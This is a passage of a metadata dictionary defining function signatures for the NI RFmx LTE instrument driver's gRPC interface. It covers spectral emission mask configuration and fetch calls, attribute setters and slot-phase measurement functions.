'int32' } ], 'returns': 'int32' }, 'SEMCfgOffsetBandwidthIntegralArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'offsetBandwidthIntegral', 'size': { 'mechanism': 'len', 'value': 'numberOfElements' }, 'type': 'int32[]' }, { 'direction': 'in', 'name': 'numberOfElements', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMCfgOffsetFrequency': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'offsetStartFrequency', 'type': 'float64' }, { 'direction': 'in', 'name': 'offsetStopFrequency', 'type': 'float64' }, { 'direction': 'in', 'enum': 'SemOffsetSideband', 'name': 'offsetSideband', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMCfgOffsetFrequencyArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'offsetStartFrequency', 'size': { 'mechanism': 'len', 'tags': [ 'optional' ], 'value': 'numberOfElements' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'offsetStopFrequency', 'size': { 'mechanism': 'len', 'tags': [ 'optional' ], 'value': 'numberOfElements' }, 'type': 'float64[]' }, { 'direction': 'in', 'enum': 'SemOffsetSideband', 'name': 'offsetSideband', 'size': { 'mechanism': 'len', 'tags': [ 'optional' ], 'value': 'numberOfElements' }, 'type': 'int32[]' }, { 'direction': 'in', 'name': 'numberOfElements', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMCfgOffsetLimitFailMask': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'SemOffsetLimitFailMask', 'name': 'limitFailMask', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMCfgOffsetLimitFailMaskArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'SemOffsetLimitFailMask', 'name': 'limitFailMask', 'size': { 'mechanism': 'len', 'value': 'numberOfElements' }, 'type': 'int32[]' }, { 'direction': 'in', 'name': 'numberOfElements', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMCfgOffsetRBWFilter': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'offsetRBW', 'type': 'float64' }, { 'direction': 'in', 'enum': 'SemOffsetRbwFilterType', 'name': 'offsetRBWFilterType', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMCfgOffsetRBWFilterArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'offsetRBW', 'size': { 'mechanism': 'len', 'tags': [ 'optional' ], 'value': 'numberOfElements' }, 'type': 'float64[]' }, { 'direction': 'in', 'enum': 'SemOffsetRbwFilterType', 'name': 'offsetRBWFilterType', 'size': { 'mechanism': 'len', 'tags': [ 'optional' ], 'value': 'numberOfElements' }, 'type': 'int32[]' }, { 'direction': 'in', 'name': 'numberOfElements', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMCfgOffsetRelativeLimit': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'relativeLimitStart', 'type': 'float64' }, { 'direction': 'in', 'name': 'relativeLimitStop', 'type': 'float64' } ], 'returns': 'int32' }, 'SEMCfgOffsetRelativeLimitArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'relativeLimitStart', 'size': { 'mechanism': 'len', 'tags': [ 'optional' ], 'value': 'numberOfElements' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'relativeLimitStop', 'size': { 'mechanism': 'len', 'tags': [ 'optional' ], 'value': 'numberOfElements' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'numberOfElements', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMCfgSweepTime': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'SemSweepTimeAuto', 'name': 'sweepTimeAuto', 'type': 'int32' }, { 'direction': 'in', 'name': 'sweepTimeInterval', 'type': 'float64' } ], 'returns': 'int32' }, 'SEMCfgUplinkMaskType': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'SemUplinkMaskType', 'name': 'uplinkMaskType', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMFetchComponentCarrierMeasurement': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'absoluteIntegratedPower', 'type': 'float64' }, { 'direction': 'out', 'name': 'relativeIntegratedPower', 'type': 'float64' } ], 'returns': 'int32' }, 'SEMFetchComponentCarrierMeasurementArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'absoluteIntegratedPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'relativeIntegratedPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMFetchLowerOffsetMargin': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'enum': 'SemLowerOffsetMeasurementStatus', 'name': 'measurementStatus', 'type': 'int32' }, { 'direction': 'out', 'name': 'margin', 'type': 'float64' }, { 'direction': 'out', 'name': 'marginFrequency', 'type': 'float64' }, { 'direction': 'out', 'name': 'marginAbsolutePower', 'type': 'float64' }, { 'direction': 'out', 'name': 'marginRelativePower', 'type': 'float64' } ], 'returns': 'int32' }, 'SEMFetchLowerOffsetMarginArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'enum': 'SemLowerOffsetMeasurementStatus', 'name': 'measurementStatus', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'int32[]' }, { 'direction': 'out', 'name': 'margin', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'marginFrequency', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'marginAbsolutePower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'marginRelativePower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMFetchLowerOffsetPower': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'absoluteIntegratedPower', 'type': 'float64' }, { 'direction': 'out', 'name': 'relativeIntegratedPower', 'type': 'float64' }, { 'direction': 'out', 'name': 'absolutePeakPower', 'type': 'float64' }, { 'direction': 'out', 'name': 'peakFrequency', 'type': 'float64' }, { 'direction': 'out', 'name': 'relativePeakPower', 'type': 'float64' } ], 'returns': 'int32' }, 'SEMFetchLowerOffsetPowerArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'absoluteIntegratedPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'relativeIntegratedPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'absolutePeakPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'peakFrequency', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'relativePeakPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMFetchMeasurementStatus': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'enum': 'SemMeasurementStatus', 'name': 'measurementStatus', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMFetchSpectrum': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'x0', 'type': 'float64' }, { 'direction': 'out', 'name': 'dx', 'type': 'float64' }, { 'direction': 'out', 'name': 'spectrum', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'out', 'name': 'compositeMask', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMFetchSubblockMeasurement': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'subblockPower', 'type': 'float64' }, { 'direction': 'out', 'name': 'integrationBandwidth', 'type': 'float64' }, { 'direction': 'out', 'name': 'frequency', 'type': 'float64' } ], 'returns': 'int32' }, 'SEMFetchTotalAggregatedPower': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'totalAggregatedPower', 'type': 'float64' } ], 'returns': 'int32' }, 'SEMFetchUpperOffsetMargin': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'enum': 'SemUpperOffsetMeasurementStatus', 'name': 'measurementStatus', 'type': 'int32' }, { 'direction': 'out', 'name': 'margin', 'type': 'float64' }, { 'direction': 'out', 'name': 'marginFrequency', 'type': 'float64' }, { 'direction': 'out', 'name': 'marginAbsolutePower', 'type': 'float64' }, { 'direction': 'out', 'name': 'marginRelativePower', 'type': 'float64' } ], 'returns': 'int32' }, 'SEMFetchUpperOffsetMarginArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'enum': 'SemUpperOffsetMeasurementStatus', 'name': 'measurementStatus', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'int32[]' }, { 'direction': 'out', 'name': 'margin', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'marginFrequency', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'marginAbsolutePower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'marginRelativePower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SEMFetchUpperOffsetPower': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'absoluteIntegratedPower', 'type': 'float64' }, { 'direction': 'out', 'name': 'relativeIntegratedPower', 'type': 'float64' }, { 'direction': 'out', 'name': 'absolutePeakPower', 'type': 'float64' }, { 'direction': 'out', 'name': 'peakFrequency', 'type': 'float64' }, { 'direction': 'out', 'name': 'relativePeakPower', 'type': 'float64' } ], 'returns': 'int32' }, 'SEMFetchUpperOffsetPowerArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'absoluteIntegratedPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'relativeIntegratedPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'absolutePeakPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'peakFrequency', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'relativePeakPower', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SelectMeasurements': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'MeasurementTypes', 'name': 'measurements', 'type': 'uInt32' }, { 'direction': 'in', 'grpc_type': 'bool', 'name': 'enableAllTraces', 'type': 'int32' } ], 'returns': 'int32' }, 'SendSoftwareEdgeTrigger': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' } ], 'returns': 'int32' }, 'SetAttributeF32': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'type': 'float32' } ], 'returns': 'int32' }, 'SetAttributeF32Array': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'size': { 'mechanism': 'len', 'value': 'arraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SetAttributeF64': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'type': 'float64' } ], 'returns': 'int32' }, 'SetAttributeF64Array': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'size': { 'mechanism': 'len', 'value': 'arraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SetAttributeI16': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'type': 'int16' } ], 'returns': 'int32' }, 'SetAttributeI32': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'type': 'int32' } ], 'returns': 'int32' }, 'SetAttributeI32Array': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'size': { 'mechanism': 'len', 'value': 'arraySize' }, 'type': 'int32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SetAttributeI64': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'type': 'int64' } ], 'returns': 'int32' }, 'SetAttributeI64Array': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'size': { 'mechanism': 'len', 'value': 'arraySize' }, 'type': 'int64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SetAttributeI8': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'type': 'int8' } ], 'returns': 'int32' }, 'SetAttributeI8Array': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'size': { 'mechanism': 'len', 'value': 'arraySize' }, 'type': 'int8[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SetAttributeNIComplexDoubleArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'size': { 'mechanism': 'len', 'value': 'arraySize' }, 'type': 'NIComplexDouble[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SetAttributeNIComplexSingleArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'size': { 'mechanism': 'len', 'value': 'arraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SetAttributeString': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'type': 'char[]' } ], 'returns': 'int32' }, 'SetAttributeU16': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'type': 'uInt16' } ], 'returns': 'int32' }, 'SetAttributeU32': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'type': 'uInt32' } ], 'returns': 'int32' }, 'SetAttributeU32Array': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'size': { 'mechanism': 'len', 'value': 'arraySize' }, 'type': 'uInt32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SetAttributeU64Array': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'size': { 'mechanism': 'len', 'value': 'arraySize' }, 'type': 'uInt64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SetAttributeU8': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'type': 'uInt8' } ], 'returns': 'int32' }, 'SetAttributeU8Array': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'attrVal', 'size': { 'mechanism': 'len', 'value': 'arraySize' }, 'type': 'uInt8[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'SlotPhaseCfgSynchronizationModeAndInterval': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'SlotPhaseSynchronizationMode', 'name': 'synchronizationMode', 'type': 'int32' }, { 'direction': 'in', 'name': 'measurementOffset', 'type': 'int32' }, { 'direction': 'in', 'name': 'measurementLength', 'type': 'int32' } ], 'returns': 'int32' }, 'SlotPhaseFetchMaximumPhaseDiscontinuity': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'maximumPhaseDiscontinuity', 'type': 'float64' } ], 'returns': 'int32' }, 'SlotPhaseFetchMaximumPhaseDiscontinuityArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'maximumPhaseDiscontinuity', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 